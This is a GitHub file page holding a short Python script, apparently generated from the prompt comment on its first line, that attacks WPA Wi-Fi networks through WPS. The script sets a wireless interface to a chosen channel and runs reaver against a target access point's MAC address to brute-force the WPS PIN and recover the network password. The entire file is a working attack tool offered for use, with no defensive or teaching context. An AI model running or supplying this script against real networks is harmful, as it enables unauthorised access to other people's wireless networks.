-
-
Notifications
You must be signed in to change notification settings - Fork 53
Expand file tree
/
Copy pathwpa_wps_hack.py
More file actions
55 lines (46 loc) · 1.95 KB
/
Copy pathwpa_wps_hack.py
File metadata and controls
55 lines (46 loc) · 1.95 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# Write a python script to hack a wpa network using WPS feature
import subprocess
import re
def get_interface_mac(interface):
ifconfig_output = subprocess.check_output(["ifconfig", interface]).decode()
match = re.search(r'unspec\s+([A-Fa-f0-9\-]+)', ifconfig_output)
if match:
mac = match.group(1).replace('-', ':')
return mac[:17]
else:
return None
def run_reaver(interface, target_mac, channel):
print(f"[+] Starting reaver on {interface}, targeting {target_mac} (channel {channel})")
print("[+] Reaver started. Monitor the output for WPS PIN and password.")
proc = subprocess.Popen([
"reaver",
"--bssid", target_mac,
"--channel", channel,
"--interface", interface,
"-vvv",
"--no-associate"
], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
try:
for line in proc.stdout:
print(line, end='') # Print all reaver logs in real time
finally:
proc.terminate()
proc.wait()
def wpa_wps_hack(interface, target_mac):
print(f"[+] Starting WPA WPS hack on {target_mac} using {interface}")
mac = get_interface_mac(interface)
if not mac:
print(f"[-] Could not retrieve MAC address for interface {interface}.")
return
print(f"[i] Interface MAC: {mac}")
channel = input("Enter the Wi-Fi channel to monitor (e.g., 1, 6, 11): ").strip()
# Bring interface down, set channel, bring up (for reliability)
subprocess.call(["ifconfig", interface, "down"])
subprocess.call(["iwconfig", interface, "channel", channel])
subprocess.call(["ifconfig", interface, "up"])
# Start reaver (in the foreground for simplicity)
run_reaver(interface, target_mac, channel)
if __name__ == "__main__":
interface = input("Enter the wireless interface name (e.g., wlan0): ").strip()
target_mac = input("Enter the target Wi-Fi MAC address: ").strip()
wpa_wps_hack(interface, target_mac)